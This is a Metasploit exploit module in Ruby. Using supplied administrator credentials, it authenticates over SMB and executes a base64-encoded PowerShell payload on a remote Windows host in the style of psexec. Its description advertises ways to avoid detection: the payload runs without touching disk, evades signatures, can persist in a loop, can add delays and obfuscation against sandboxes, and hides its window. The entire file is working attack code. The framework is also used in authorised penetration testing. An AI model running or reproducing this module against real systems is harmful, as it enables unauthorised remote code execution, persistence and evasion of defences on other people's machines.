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# -*- coding: binary -*-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB::Client::Psexec
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
'Description' => %q{
This module uses a valid administrator username and password to execute a powershell
payload using a similar technique to the "psexec" utility provided by SysInternals. The
payload is encoded in base64 and executed from the commandline using the -encodedcommand
flag. Using this method, the payload is never written to disk, and given that each payload
is unique, is less prone to signature based detection. A persist option is provided to
execute the payload in a while loop in order to maintain a form of persistence. In the
event of a sandbox observing PSH execution, a delay and other obfuscation may be added to
avoid detection. In order to avoid interactive process notifications for the current user,
the psh payload has been reduced in size and wrapped in a powershell invocation which hides
the window entirely.
},
'Author' => [
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 3072,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 1999',
'References' => [
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
]
))
register_options([
OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
])
end
def exploit
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if datastore['DryRun']
print_good command.inspect
return
end
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
end
# Try and authenticate with given credentials
if connect
begin
smb_login
rescue StandardError => autherror
fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
end
# Execute the powershell command
print_status("Executing the payload...")
begin
return psexec(command)
rescue StandardError => exec_command_error
fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
ensure
disconnect
end
end
end
end